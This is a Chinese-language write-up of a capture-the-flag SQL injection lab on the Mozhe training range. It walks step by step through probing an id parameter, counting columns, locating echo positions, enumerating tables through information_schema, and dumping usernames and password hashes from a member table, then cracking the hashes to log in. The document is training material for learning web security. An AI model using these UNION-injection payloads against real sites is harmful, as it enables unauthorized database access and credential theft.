靶场
思路
一、信息收集
1.在注入前的信息收集步骤是在整个注入过程中非常重要的一步,我们首先最好了解需要测试网站的相关信息,例如:
(1)操作系统(Linux/Windows)
(2)数据库类型(不同的数据库类型,注入方法会有所不同)
(2)数据库名
(3)数据库用户
(4)数据库版本
(5)其他(网站路径,根目录等)
2.注入权限
二、注入步骤(以墨者注入靶场为例)
1.判断是否存在注点
这里在尝试了用户名单注入,双拼注入都不行…
具体参考了sql注入的几种方式【网络攻防CTF】(保姆级图文
然后点进平台维修部通知
发现域名有?id=1
判断是否存在注点的方法就是在可变参数id=1后加上and 1=1,页面显示正常(与之前页面显示相同),而如果填入and 1=2,页面显示错误或有很大变化,则有可能存在注点。(这里不一定要写and 1= 2,只要随便输入一些字符字母,可以使网页报错即可)
2.猜解数据库列名数量
验证界面的查询语句有几个字段–判断长度使用order by 语句
例如:在id=1后加上order by 1, order by 2, …, order by 5(这个数字代表该网站数据库存在列数,可以使用二分法进行查找,找到使页面显示错误的最小数值,及猜页面错误与正常的临界值,例如此处当输入order by 5,页面报错,及该数据库存在4列)。
3.报错拆解准备
验证字段再界面显示位置—判断回显位置
输入?id=-1 union select 1,2,3,4或?id=1 and 1=2 union select 1,2,3,4都会出现报错数字,这个数字是随机产生的,报错数字是几就在数字几上进行查询,这里是2和3。
<补充>数据库版本:version() 数据库名字 : database()
数据库用户:user() 操作系统:@@version_compile_os
数据库路径:@@datadir
例如:
?id=-1 union select 1,user(),version(),4(查询数据库用户和版本)
?id=-1 union select 1,database(),@@version_compile_os,4(查询数据库名字和操作系统)
4.利用information_schema表进行数据库查询
(1)在MYSQL5.0以上的版本中,mysql存在一个自带数据库库名,表名,列名的数据库,也相当于可以通过查询它获取到指定数据库下面的表名活列名信息。
information_schema.schemata:记录所有数据库名信息的表
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库名
table_name:表名
column_name:列名
(在5.0版本以下的话只能暴力方法了)
(2)通过之前查询获取到数据库名为 mozhe_Discuz_StormGroup,所以查询该数据库下的表名信息。
?id=-1 union select 1, group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’
或者可以直接?id=-1 union select 1, group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
注意此处table_name列有好几个值需要group_concat()函数连接一下
然后注意到用户密码之类的东西应该在名为StormGroup_member的表中
(3)获取到存储用户的表名应该为StormGroup_member,所以查询该表名下的列名信息。
?id=-1 union select 1, group_concat(column_name),3,4 from information_schema.columns where table_name=’StormGroup_member’
(4)查询指定数据
那肯定直接查用户名和密码了
?id=-1 union select 1, group_concat(name),group_concat(password),4 from StormGroup_member
一般网站密码是m5d加密,md5解密工具
这样用户密码都出来了,第一个发现被封了
第二个登录进去得到flag